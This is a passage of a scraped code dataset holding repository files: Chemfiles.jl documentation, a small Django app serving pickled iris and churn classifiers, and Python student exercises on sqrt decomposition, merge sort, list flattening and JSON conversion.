this:\n```\n\n```@literalinclude ../examples/select.jl 4-\n```\n\n```@raw html\n</details>\n```\n"
},
{
"alpha_fraction": 0.47058823704719543,
"alphanum_fraction": 0.47058823704719543,
"avg_line_length": 7.5,
"blob_id": "061e03bbdc74237adb418a6d63f366e9e25c205b",
"content_id": "c5f0e42624873c6e1cbd5ec680ee164aafd31f72",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "TOML",
"length_bytes": 17,
"license_type": "permissive",
"max_line_length": 8,
"num_lines": 2,
"path": "/test/data/config.toml",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "[types]\nOz = \"F\"\n"
},
{
"alpha_fraction": 0.7223764657974243,
"alphanum_fraction": 0.7257079482078552,
"avg_line_length": 31.745454788208008,
"blob_id": "266f42d73a7286fb9231b088f2530ac452c63ae9",
"content_id": "03b782de64f59057f68ab1ce77144bba84a0a807",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 1801,
"license_type": "permissive",
"max_line_length": 90,
"num_lines": 55,
"path": "/docs/src/index.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Julia interface to chemfiles\n\nThis is the documentation for the [Julia](http://julialang.org/) interface to\nthe [chemfiles](https://chemfiles.org/) library.\n\nThe Julia interface to chemfiles wraps around the C interface providing a Julian\nAPI. All the functionalities are in the `Chemfiles` module, which can be\nimported by the `using Chemfiles` expression. The `Chemfiles` module is built\naround the main types of chemfiles: [`Trajectory`](@ref), [`Frame`](@ref),\n[`UnitCell`](@ref), [`Topology`](@ref), [`Residue`](@ref), [`Chemfiles.Atom`](@ref), and\n[`Selection`](@ref).\n\nNote that the integrates with the [AtomsBase](https://github.com/JuliaMolSim/AtomsBase.jl)\necosystem via appropriate conversion routines. See [AtomsBase integration](@ref)\nfor more details.\n\n!!! warning\n\n All indexing in chemfiles is 0-based! That means that the first atom in a\n frame have the index 0, not 1. This is because no translation is made from\n the underlying C library.\n\n This may change in future release to use 1-based indexing, which is more\n familiar to Julia developers.\n\n## Installation\n\nYou will need to use a recent version of Julia (`Julia >= 1.0`), and then you\ncan install the `Chemfiles` package by running the following at Julia prompt:\n\n```julia\npkg> add Chemfiles\n\n# You may also want to run the test suite with\npkg> test Chemfiles\n```\n\n## User documentation\n\nThis section contains example of how to use `Chemfiles.jl`, and the complete\ninterface reference for all the types and functions in chemfiles.\n\n```@contents\nPages = [\n \"reference/trajectory.md\",\n \"reference/frame.md\",\n \"reference/atom.md\",\n \"reference/cell.md\",\n \"reference/topology.md\",\n \"reference/residue.md\",\n \"reference/selection.md\",\n \"reference/misc.md\",\n \"reference/atomsbase.md\"\n]\n```\n"
},
{
"alpha_fraction": 0.5773195624351501,
"alphanum_fraction": 0.5773195624351501,
"avg_line_length": 8.699999809265137,
"blob_id": "e1492c82b0c3075f5dd4e6b62ef327dbccd54b39",
"content_id": "40912b39fbd0ec839c55c46d5227972f605efc23",
"detected_licenses": [
"BSD-2-Clause"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 97,
"license_type": "permissive",
"max_line_length": 24,
"num_lines": 10,
"path": "/docs/src/reference/residue.md",
"repo_name": "chemfiles/Chemfiles.jl",
"src_encoding": "UTF-8",
"text": "# Residue\n\n```@docs\nResidue\n```\n\n```@autodocs\nModules = [Chemfiles]\nPages = [\"Residue.jl\"]\n```\n"
}
] | 16 |
jay-khandelwal/ml-proj | https://github.com/jay-khandelwal/ml-proj | 0148a6d01c358fd382f3154ffe370d1995ff12a7 | 8f3c2d246a6101efff40e1b886a99ebeba1d4408 | c9d3ada98ce7d3351910d6c7905112bd87419f6a | refs/heads/master | 2023-04-30T10:20:55.329230 | 2021-02-16T09:12:50 | 2021-02-16T09:12:50 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.7387005686759949,
"alphanum_fraction": 0.7387005686759949,
"avg_line_length": 29.65217399597168,
"blob_id": "2ef9670699089726a1336bcfb3b869b98a8d7b1a",
"content_id": "7506d52b073ab17627baff0f387abcf658e6a122",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 708,
"license_type": "no_license",
"max_line_length": 138,
"num_lines": 23,
"path": "/core/forms.py",
"repo_name": "jay-khandelwal/ml-proj",
"src_encoding": "UTF-8",
"text": "from django import forms\n\nclass mlform(forms.Form):\n\t\n\tsepal_len = forms.FloatField()\n\tsepal_width = forms.FloatField()\n\tpetal_len = forms.FloatField()\n\tpetal_width = forms.FloatField()\n\t\n#['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'HasCrCard','IsActiveMember', 'EstimatedSalary', 'Germany', 'Spain', 'Male']\n\t\nclass svm(forms.Form):\n\tCreditScore =forms.FloatField()\n\tAge = forms.IntegerField()\n\tTenure =forms.IntegerField()\n\tBalance =forms.FloatField()\n\tNumOfProducts =forms.IntegerField()\n\tHasCrCard =forms.IntegerField()\n\tIsActiveMember =forms.IntegerField()\n\tEstimatedSalary =forms.FloatField()\n\tGermany =forms.IntegerField()\n\tSpain =forms.IntegerField()\n\tMale =forms.IntegerField()\n\t\n\t"
},
{
"alpha_fraction": 0.7025641202926636,
"alphanum_fraction": 0.7025641202926636,
"avg_line_length": 22.25,
"blob_id": "517e6da394f7484459f068c397ae66c4f46a564f",
"content_id": "f1f8797a8723ecd0c51b5ac03c4e103ceef847d3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 195,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 8,
"path": "/core/form.py",
"repo_name": "jay-khandelwal/ml-proj",
"src_encoding": "UTF-8",
"text": "from django import forms\n\nclass mlform(forms.Form):\n\t\n\tsepal_len = forms.FloatField()\n\tsepal_width = forms.FloatField()\n\tpetal_len = forms.FloatField()\n\tpetal_width = forms.FloatField()\n\t\n\t\n\t\n\t\n\t"
},
{
"alpha_fraction": 0.6068702340126038,
"alphanum_fraction": 0.6374045610427856,
"avg_line_length": 25.149999618530273,
"blob_id": "8b0b635a8e61f659b2b4b1e78ecf8c8c40f339e7",
"content_id": "c419ce6bf04fff9acd9e17b15eba0964c2551c79",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 524,
"license_type": "no_license",
"max_line_length": 109,
"num_lines": 20,
"path": "/core/newfile.py",
"repo_name": "jay-khandelwal/ml-proj",
"src_encoding": "UTF-8",
"text": "#import pickle\n\n#pickle_in = open('iris.pkl','rb')\n#clf = pickle.load(pickle_in)\n#y = clf.predict({'sepal_len':[ 1.7], 'sepal_width': [8.5], 'petal_len': [4.5], 'petal_width':[6.1]})\n#print(y)\n#return HttpResponse('predicted class :' ,y)\n\n\nimport pickle \nimport pandas as pd\n\npickle_in = open('iris.pkl', 'rb')\nclf = pickle.load(pickle_in)\n\n\ntest_x = pd.DataFrame({'sepal length':[4.9], 'sepal width': [3.0],'petal length':[1.4], 'petal width':[0.2]})\npredicted_y = clf.predict(test_x)\n\nprint('predicted_y :', predicted_y)\n\t"
},
{
"alpha_fraction": 0.6445955634117126,
"alphanum_fraction": 0.6456692814826965,
"avg_line_length": 32.27381134033203,
"blob_id": "d9ac4c17e4e3b1a668cf7ec80b0da63eb9ad54c8",
"content_id": "c60a5899d20496d0a858bb81854a1b3a6c67b13d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2794,
"license_type": "no_license",
"max_line_length": 138,
"num_lines": 84,
"path": "/core/views.py",
"repo_name": "jay-khandelwal/ml-proj",
"src_encoding": "UTF-8",
"text": "from django.shortcuts import render, HttpResponse\nimport pickle\nfrom .forms import mlform,svm\n\n# Create your views here.\n\ndef index(request):\n\t\n\tif request.method == 'POST':\n\t\tform = mlform(request.POST)\n\t\tif form.is_valid():\n\t\t\tsepal_len = form.cleaned_data['sepal_len']\n\t\t\tsepal_width = form.cleaned_data['sepal_width']\n\t\t\tpetal_len = form.cleaned_data['petal_len']\n\t\t\tpetal_width = form.cleaned_data['petal_width']\n\t\t\t\n\t\t\tpickle_in = open('iris.pkl','rb')\n\t\t\tclf = pickle.load(pickle_in)\n\t\t\t\n\t\t\timport pandas as pd\n\t\t\ttest_x = pd.DataFrame({'sepal_len':[ sepal_len], 'sepal_width': [sepal_width], 'petal_len': [petal_len], 'petal_width':[petal_width]})\n\t\t\t\n\t\t\tpredicted_y = int(clf.predict(test_x))\n\t\t\tlist = ['Setosa', 'Versicolor', 'Verginica']\n\t\t\tcontext =( 'Type of leave :', list[predicted_y])\n\t\t\treturn HttpResponse(context)\n\t\t\n\telse:\n\t\tform = mlform()\t\t\t\n\t\tcontext= {'form':form}\t\n\t\treturn render(request, 'index.html', context)\n\t\t\n#['CreditScore', 'Age', 'Tenure', 'Balance', 'NumOfProducts', 'HasCrCard','IsActiveMember', 'EstimatedSalary', 'Germany', 'Spain', 'Male']\n\t\t\ndef churn(request):\n\tif request.method == 'POST':\n\t\tform = svm(request.POST)\n\t\tif form.is_valid():\n\t\t\tCreditScore = form.cleaned_data['CreditScore']\n\t\t\tAge = form.cleaned_data['Age']\n\t\t\tTenure = form.cleaned_data['Tenure']\n\t\t\tBalance = form.cleaned_data['Balance']\n\t\t\tNumOfProducts = form.cleaned_data['NumOfProducts']\n\t\t\tHasCrCard = form.cleaned_data['HasCrCard']\n\t\t\tIsActiveMember = form.cleaned_data['IsActiveMember']\n\t\t\tEstimatedSalary = form.cleaned_data['EstimatedSalary']\n\t\t\tGermany = form.cleaned_data['Germany']\n\t\t\tSpain = form.cleaned_data['Spain']\n\t\t\tMale = form.cleaned_data['Male']\n\t\t\t\n\t\t\tpickle_in = open('SupportVectorMachineScaler.pkl','rb')\n\t\t\tscaler = pickle.load(pickle_in)\n\t\t\timport pandas as pd\n\t\t\ttest_x = pd.DataFrame({\n\t\t\t'CreditScore':[ CreditScore],\n\t\t\t 'Age': [Age],\n\t\t\t 'Tenure': [Tenure], \n\t\t\t'Balance':[Balance],\n\t\t\t 'Spain':[NumOfProducts],\n\t\t\t 'HasCrCard':[HasCrCard],\n\t\t\t 'IsActiveMember':[IsActiveMember],\n\t\t\t 'EstimatedSalary':[EstimatedSalary],\n\t\t\t 'Germany':[Germany],\n\t\t\t 'Spain':[Spain],\n\t\t\t 'Male':[Male]})\n\t\t\tprint('main :',test_x) \n#\t\t\ttest_x = scaler.transform(test_x)\n\t\t\tprint('*' *100)\n\t\t\tprint('Scaler :',test_x) \n\t\t\tpickle_in = open('SupportVectorMachine accuracy.pkl','rb')\n\t\t\tclf = pickle.load(pickle_in)\n\t\t\t\n\t\t\t#import pandas as pd\n#\t\t\ttest_x = pd.DataFrame({'sepal_len':[ sepal_len], 'sepal_width': [sepal_width], 'petal_len': [petal_len], 'petal_width':[petal_width]})\n\t\t\t\n\t\t\tpredicted_y = clf.predict(test_x)\n#\t\t\tlist = ['Yes', 'No']\n#\t\t\tcontext =( 'did person leave ?? :', list[predicted_y])\n\t\t\treturn HttpResponse(predicted_y)\n\t\t\n\telse:\n\t\tform = svm()\t\t\t\n\t\tcontext= {'form':form}\t\n\t\treturn render(request, 'index.html', context)"
}
] | 4 |
RogerPenrose/MPL_UPDATER | https://github.com/RogerPenrose/MPL_UPDATER | 1c473a1d1842c66d89a8de75fdcfca86c47d2141 | 9957c17ef1625ce413e1e51503fd4522cb2997a9 | 54b2c99324e9177ebccdefb5433b22c64efab213 | refs/heads/master | 2023-03-20T21:32:04.592490 | 2021-03-22T23:58:48 | 2021-03-22T23:58:48 | 350,524,578 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.800000011920929,
"alphanum_fraction": 0.800000011920929,
"avg_line_length": 19,
"blob_id": "9db66bff9ae208b66f6a6f509dac80903a40ccf8",
"content_id": "a5203dfc32b5665516d055f7cf83311052d5a585",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 20,
"license_type": "permissive",
"max_line_length": 19,
"num_lines": 1,
"path": "/src/mpl_updater/__init__.py",
"repo_name": "RogerPenrose/MPL_UPDATER",
"src_encoding": "UTF-8",
"text": "from main import lu\n"
},
{
"alpha_fraction": 0.6379907727241516,
"alphanum_fraction": 0.6495380997657776,
"avg_line_length": 35.8510627746582,
"blob_id": "8b6e998be31640affaad8973f255a486e965465c",
"content_id": "0fc4f245f3838f23c47cd8991ffca429465db295",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1732,
"license_type": "permissive",
"max_line_length": 257,
"num_lines": 47,
"path": "/src/mpl_updater/main.py",
"repo_name": "RogerPenrose/MPL_UPDATER",
"src_encoding": "UTF-8",
"text": "import argparse\nfrom importlib import reload\nimport matplotlib.pyplot as plt\nfrom matplotlib.animation import FuncAnimation\n\ndef lu(name, interval):\n print(name, interval)\n mod = __import__(name)\n\n fig, ax = mod.Initialization()\n\n def animate(i):\n reload(mod)\n ax.clear()\n try:\n mod.Animation(i, ax)\n except Exception as e:\n xlim = ax.get_xlim()\n ylim = ax.get_ylim()\n props = dict(boxstyle='round', facecolor='wheat', alpha=1)\n\n t = plt.text((xlim[1]-xlim[0])/2, (ylim[1]-ylim[0])/2, e, fontsize=14, style='oblique', ha='center', va='top', wrap=True, bbox=props)\n\n r = fig.canvas.get_renderer()\n bb = t.get_window_extent(renderer=r)\n width = bb.width\n height = bb.height\n # ax.text(0.05, 0.95, e, transform=ax.transAxes, fontsize=14, horizontalalignment='center', verticalalignment='top', bbox=props)\n\n ani = FuncAnimation(fig, animate, interval=interval)\n plt.show()\n\n # EG DAS MIT \"RED\" FINDET ER NICHT HERAUS\n\n\n\nparser = argparse.ArgumentParser(prog='lu',\n description='A live updating environment for visualisations via Matplotlib.', epilog='usage: Type \\' lu <program name>\\' to open the live updating graphing widget. Your program must contain two functions called \\' Animation \\' and HIER WEITERSCHRIEBEN')\n\n\nparser.add_argument('program name', metavar='n', type=str, help='the name of the program you are working on (<example.py>)')\nparser.add_argument('refresh rate', nargs='?', metavar='t', type=int, default=500, help='rate at which the widget refreshes')\n\nparser.print_help()\nargs = vars(parser.parse_args())\n\nlu(args['program name'], args['refresh rate'])\n"
},
{
"alpha_fraction": 0.8159509301185608,
"alphanum_fraction": 0.8159509301185608,
"avg_line_length": 162,
"blob_id": "358915cd6cf9cfb221d02102dcefc0298fd1512e",
"content_id": "29132e9f55614d585e25c160e3caa6c5f0cf1041",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Markdown",
"length_bytes": 163,
"license_type": "permissive",
"max_line_length": 162,
"num_lines": 1,
"path": "/README.md",
"repo_name": "RogerPenrose/MPL_UPDATER",
"src_encoding": "UTF-8",
"text": "A package that allows a Matplotlib plot to be run directly from a file and then adjusts changes made in the code directly without having to restart the animation.\n"
}
] | 3 |
MrDmitryBy/labs_python | https://github.com/MrDmitryBy/labs_python | 4266b3c6313b20439df90aa8f89e832ac5050b25 | c28c483f3e042d9591170c453e82f7207a16a8e6 | 756895ccd96277ac25bfdda1a18d2e0df0d8f51f | refs/heads/master | 2021-08-03T05:45:34.951891 | 2021-07-25T17:02:43 | 2021-07-25T17:02:43 | 247,546,053 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.3699036240577698,
"alphanum_fraction": 0.3728688061237335,
"avg_line_length": 31.095237731933594,
"blob_id": "1a6579337db9a44991d8da4779b225768c648a5c",
"content_id": "d9ce850871cea071596d9928102498e8316d6029",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2698,
"license_type": "no_license",
"max_line_length": 76,
"num_lines": 84,
"path": "/lab_2/11_lab_2_5.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "import sys\nfrom ast import literal_eval\nfrom re import search\n\ndef to_json(obj):\n try:\n if (type(obj) in (float, int, str, tuple, dict, list, bool) \n or obj == None):\n if type(obj) == str:\n obj = '\"' + obj + '\"'\n if type(obj) == int or type(obj) == float:\n obj = str(obj)\n if type(obj) == None:\n obj = 'null'\n if type(obj) == bool:\n if obj == True:\n obj = 'true'\n else:\n obj = 'false' \n if type(obj) == dict:\n line = ''\n i = 0\n for item in obj.items():\n line += to_json(item[0]) + ' : ' + to_json(item[1])\n if i < len(obj) - 1:\n line += ', '\n i += 1\n else: break\n obj = '{' + line + '}'\n if type(obj) == list or type(obj) == tuple:\n line = ''\n for element in range(len(obj)):\n line += to_json(obj[element])\n if element < len(obj) - 1:\n line += ', '\n else: break\n obj = '[' + line + ']'\n return obj\n \n \n \n except ValueError:\n print(\"Your object in question is not a type from this list: \")\n print(\"float, int, str, tuple, dict, list, None, bool\")\n \ndef main():\n if len(sys.argv) > 1:\n try:\n fileName = sys.argv[1]\n if search(r'\\b.txt\\b', fileName):\n file = open(fileName, \"r\")\n obj = file.read()\n try:\n obj = literal_eval(obj)\n except:\n obj = obj\n else:\n try:\n obj = literal_eval(obj)\n except:\n obj = obj\n \n except: \n print(\"You are not enter .txt file or you enter a space in the\",\n \"line command.\")\n print(\"Please, write file without space and with .txt format \")\n sys.exit()\n else:\n obj = input(\"Enter your words: \")\n try:\n try:\n obj = literal_eval(obj)\n except:\n obj = obj\n \n \n except ValueError: \n print(\"Your object in question is not a type from this list: \")\n print(\"float, int, str, tuple, dict, list, None, bool\")\n \n print(to_json(obj)) \n \nif __name__ == \"__main__\":\n main()\n\n\n"
},
{
"alpha_fraction": 0.49077308177948,
"alphanum_fraction": 0.502743124961853,
"avg_line_length": 26.094594955444336,
"blob_id": "27e8eca54f161c804ebad955bbc5d47737df4af0",
"content_id": "1398e2f5116b587cdcfc01a408d8c62950dd1e0a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2005,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 74,
"path": "/lab_2/11_lab_2_6.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "import re\nimport sys\n\ndef Number(num):\n try:\n num = int(num)\n except:\n num = float(num)\n return num\n\ndef String(stry):\n stry = re.sub('\\\"','',stry)\n return stry\n\ndef BoolNone(boo):\n trans = {'true':True, 'false':False, 'null':None}\n boo = trans[boo]\n return boo\n\ndef Indecies(string, words):\n ind = []\n start = 0\n for word in words:\n ind.append(string.find(word, start))\n start = string.find(word,start) + len(word)\n return ind\n\ndef Array(arr):\n patterns = ['(\\[.*?\\])','(\\\".*?\\\")','[0-9]*\\.[0-9]*|[0-9]+','[a-z]+']\n funcs = [Array, String, Number, BoolNone]\n arrhelp = arr\n arr = re.sub('^\\[|\\]$','',arr)\n result = []\n elems = [0]*4\n ind = []\n for i in range(4):\n elems[i] = re.findall(patterns[i], arr)\n ind += Indecies(arrhelp,elems[i])\n result += list(map(funcs[i], elems[i]))\n for el in elems[i]:\n arr = arr.replace(el, '')\n result = [x for _,x in sorted(zip(ind,result))]\n return result\n\ndef Dictionary(dicty):\n elem = []\n pattern = '(?<=\\{)(.*?|\\{.*?\\}|\\[.*?\\]):(\\[.*?\\]|\\{.*?\\}|.*?)(?=\\,|\\})'\n while len(dicty) > 2:\n elem += re.findall(pattern,dicty)\n dicty = re.sub(pattern,'',dicty)\n dicty = re.sub('(?<=\\{)(\\,\\s+|\\,)','',dicty)\n new_dicty = {}\n for el in elem:\n new_dicty[from_json(el[0])] = from_json(el[1])\n return new_dicty\n\ndef from_json(obj):\n patterns = ['(\\{.*\\})','(\\[.*\\])','(\\\".*?\\\")',\\\n '[0-9]*\\.[0-9]*|[0-9]+','[a-z]+']\n funcs = [Dictionary, Array, String, Number, BoolNone]\n for i in range(5):\n objhelp = re.findall(patterns[i],obj)\n if len(objhelp) != 0:\n objhelp = list(map(funcs[i], objhelp))\n break\n return objhelp[0]\n\nif len(sys.argv) == 1:\n obj = input(\"Enter the object to convert from JSON: \")\nelse:\n obj = open(sys.argv[1]).read()\n \nprint(\"\\nThe original object: \", obj) \nprint(\"\\nThe converted object: \", from_json(obj))\n"
},
{
"alpha_fraction": 0.42996397614479065,
"alphanum_fraction": 0.43865224719047546,
"avg_line_length": 34.628787994384766,
"blob_id": "8a9f9f83a0adff040d4e29c57ade2b764eeb8f07",
"content_id": "09c01450185bfa070135ae98897095451527e4c7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4719,
"license_type": "no_license",
"max_line_length": 86,
"num_lines": 132,
"path": "/lab_2/11_lab_2_1.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "# SQRT Decomposition\n# If you want to open the programm from the file, please, follow this link:\n# https://github.com/MrDmitryBy/labs_python/blob/master/lab_2/11_lab_2_1.txt\n# and save the programm 11_lab_2_1.py and 11_lab_2_1.txt in in a shared file\n# Thank you for your attention! \n\nimport math\nimport sys\nimport ast \n\ndef blocks(array,sizeBlocks):\n block = [0]*sizeBlocks\n i = 0\n for i in range(len(array)):\n block[i//sizeBlocks] += array[i]\n return block\n\ndef leftRight():\n while True: \n left = input('From what part of an array '\n 'should I start (indexing is start from 0)?'\n 'If you want to exit, please,' \n 'enter \"exit\" ') \n if left == \"exit\":\n print(\"Good bye!\")\n sys.exit()\n else:\n try:\n left = int(left)\n right = input('By what part of an array '\n 'should I finish (indexing is start from 0)?'\n 'If you want to exit, please,' \n 'enter \"exit\" ')\n if right == \"exit\":\n print(\"Good bye!\")\n sys.exit()\n else:\n try:\n right = int(right)\n return left,right \n except:\n print()\n print(\"You make a mistake! Please, \" \n \"write an integer number(indexing is start from the 0)\")\n print('If you want to exit, please,enter \"exit\"')\n except:\n print()\n print(\"You make a mistake! Please, \" \n \"write an integer number (indexing is start from the 0)\")\n print('If you want to exit, please,enter \"exit\"')\n\ndef findSum(left,right,array,sizeBlocks,bloki):\n sum = 0\n if left >= 0 and left <= right: \n i = left\n if left//sizeBlocks == right//sizeBlocks:\n while (i <= right):\n sum += array[i]\n i +=1\n else:\n while (i <= (left//sizeBlocks+1)*math.ceil(math.sqrt(len(array))) - 1):\n sum += array[i]\n i += 1 \n j = (right//sizeBlocks)*sizeBlocks \n while (j <= right):\n sum += array[j]\n j += 1\n k = (left//sizeBlocks) + 1\n while (k <= (right//sizeBlocks) - 1):\n sum += bloki[k]\n k += 1\n return sum\n \ndef main():\n if len(sys.argv) > 1: \n file = open(\"11_lab_2_1.txt\", \"r\");\n data = file.read(); \n data = data.split('\\n');\n try:\n array = ast.literal_eval(data[0])\n print(\"Your array is: \", array)\n print(\"P.S. Indexing is start from the 0\")\n left = int(data[1])\n right = int(data[2]) \n print(\"We start from the\", left, \"element and finish by \",right,\n \"element\")\n except:\n print(\"Why did you change my file to the wrong data?\")\n print(\"Please, open my file without changes\")\n sys.exit()\n else: \n array = []\n while True:\n print('If you want to exit, please,enter \"exit\"')\n arr = input('Enter array'\n '( if you want to finish adding elements of array'\n 'enter \"stop\" ): ')\n if arr == \"exit\" or arr == \"EXIT\":\n sys.exit()\n elif arr == \"stop\" or arr == \"STOP\":\n break\n \n else:\n try:\n array.append(int(arr))\n except:\n print(\"You make a mistake! Please, \" \n \"write an integer number\"\n \"If you want finish adding elements of array\"\n \"enter 'stop' \")\n \n print() \n print(\"Your array is: \", array)\n sizeBlocks = math.ceil(math.sqrt(len(array))) \n a = leftRight()\n left = a[0]\n right = a[1] \n bloki = blocks(array,sizeBlocks)\n try:\n sum = findSum(left,right,array,sizeBlocks,bloki)\n print(\"Sum is equal to \", sum)\n \n except:\n print()\n print(\"You make a mistake! Please, \" \n \"write start number >= 0 and finish number greater than start\")\n print('If you want to exit, please,enter \"exit\"')\n \n\n\nif __name__ == \"__main__\":\n main()\n\n \n"
},
{
"alpha_fraction": 0.4156706631183624,
"alphanum_fraction": 0.44223108887672424,
"avg_line_length": 25.89285659790039,
"blob_id": "4d755725a0f3ce59613d5733b05da4e201f57ee2",
"content_id": "346d0853daa39d73b778ecb84c27d7effb2ef32b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 753,
"license_type": "no_license",
"max_line_length": 147,
"num_lines": 28,
"path": "/lab_2/11_lab_2_4.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "import sys\nimport ast \n\n\ndef flatten_it(array):\n try:\n if array == []:\n return array\n if isinstance(array[0], list):\n return flatten_it(array[0]) + flatten_it(array[1:])\n return [array[0]] + flatten_it(array[1:])\n except:\n raise ValueError\n \ndef main():\n if len(sys.argv) > 1:\n array = ast.literal_eval(sys.argv[1])\n else:\n array = [1, [2, 3], \"sdfsfss\",[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[[343434]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]], [[6, 7]]]\n #array = [0]\n #array[0] = array\n try:\n print(flatten_it(array))\n except ValueError: \n print('Array that refers to itself')\n \nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.2888713479042053,
"alphanum_fraction": 0.29755327105522156,
"avg_line_length": 33.24324417114258,
"blob_id": "145444f59fc50fd1e0c1e133b4cfc147a3dd8cbf",
"content_id": "be096935425ea86b85987ffb20db97fcaff7b7b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1267,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 37,
"path": "/lab_2/11_lab_2_8.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "#The power of 2\nimport sys\ndef main():\n flag = True\n while flag:\n try: \n if len(sys.argv[0]) > 1:\n x = sys.argv[1]\n flag = False\n except:\n x = input(\"\"\"\\tEnter the number: \n \n !ATTENTION! \n If you want exit from the programm, enter \"exit\" \n \"\"\")\n if x == \"exit\" or x == \"EXIT\":\n break\n else: \n try:\n x = int(x)\n def power(x):\n if x & (x - 1) == 0 and x != 0:\n return 1\n if power(x) == 1:\n print()\n print(\"Yes, number \", x, \" is a power of 2\") \n else: \n print()\n print(\"Unfortunately, number \", x, \" isn't a power of 2\")\n \n except:\n print()\n print(\"You make a mistake, please, write \\n \\\n an integer positive number: \")\n \nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.46966293454170227,
"alphanum_fraction": 0.4883895218372345,
"avg_line_length": 25.176469802856445,
"blob_id": "30f20cdba1aacba7b1c5407bd93299b6b4ad1ea7",
"content_id": "e558c4bc5c0fc4887abce9b7767ccd563cd9ed39",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2676,
"license_type": "no_license",
"max_line_length": 75,
"num_lines": 102,
"path": "/lab_2/11_lab_2_3.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
"text": "# If you want to open program using files, then write the full path to them\n# You must specify two files:\n# 1)From what file do you get the text?\n# 2)Which file are you sending the result to?\n# P.S. Only supported with .txt format\n\n\nimport sys\nfrom re import search\n\ndef load(i, B):\n quantity = int(i/B*100) \n procent = '✡'*int(quantity/5)+'[]'*int((100-quantity)/5) \n sys.stdout.write('\\rProgress: {1} ◀ {0}% ▶ '.format(quantity, procent))\n sys.stdout.flush()\n\n\ndef MergeSort(array):\n if len(array) == 0:\n array = []\n if len(array) > 1:\n mid = len(array)//2\n lefthalf = array[:mid]\n righthalf = array[mid:]\n\n MergeSort(lefthalf)\n MergeSort(righthalf)\n\n i, j, k = 0, 0, 0\n \n while i < len(lefthalf) and j < len(righthalf):\n if lefthalf[i] <= righthalf[j]:\n array[k] = lefthalf[i]\n i = i + 1\n else:\n array[k] = righthalf[j]\n j = j + 1\n k = k + 1\n\n while i < len(lefthalf):\n array[k] = lefthalf[i]\n i = i + 1\n k = k + 1\n\n while j < len(righthalf):\n array[k] = righthalf[j]\n j = j + 1\n k = k + 1\n \n\n\ndef main():\n array = []\n try:\n if len(sys.argv) > 1:\n if len(sys.argv) == 3:\n fileName1 = sys.argv[1]\n if search(r'\\b.txt\\b', fileName1):\n fileName2 = sys.argv[2]\n if search(r'\\b.txt\\b', fileName2):\n fileName2 = fileName2 \n \n else:\n fileName1 = input(\"Enter name of the input file: \")\n fileName1 = fileName1.strip(' ')\n fileName2 = input(\"Enter name of the output file: \")\n fileName2 = fileName2.strip(' ')\n except:\n print(\"You have entered not enough arguments\"\n \"or you did not enter .txt at the end of the file name\")\n print(\"Please, enter names of the input and output files \"\n \"in this sequence\")\n \n\n file1 = open(fileName1, \"r\")\n \n lines = file1.read().split('\\n')\n \n for string in lines:\n array.append(string)\n for i in range(len(array)):\n array[i]=array[i].split()\n MergeSort(array[i])\n \n MergeSort(array)\n \n result = ''\n i = 1\n for parameters in array:\n result += ' '.join(parameters) + '\\n'\n load(i, len(array))\n i += 1\n \n print()\n print(result)\n file2 = open(fileName2, \"w\")\n file2.write(result)\n file2.close()\n \n \nif __name__ == \"__main__\":\n main()\n"
},
{
"alpha_fraction": 0.33239102363586426,
"alphanum_fraction": 0.347269743680954,
"avg_line_length": 38.53529357910156,
"blob_id": "c7d779c4e909d54d577a2e6189d8690087302d59",
"content_id": "4ac22ec14f1ba38c5d9baa3c6ea2a02d6326426d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 6828,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 170,
"path": "/lab_2/11_lab_2_2.py",
"repo_name": "MrDmitryBy/labs_python",
"src_encoding": "UTF-8",
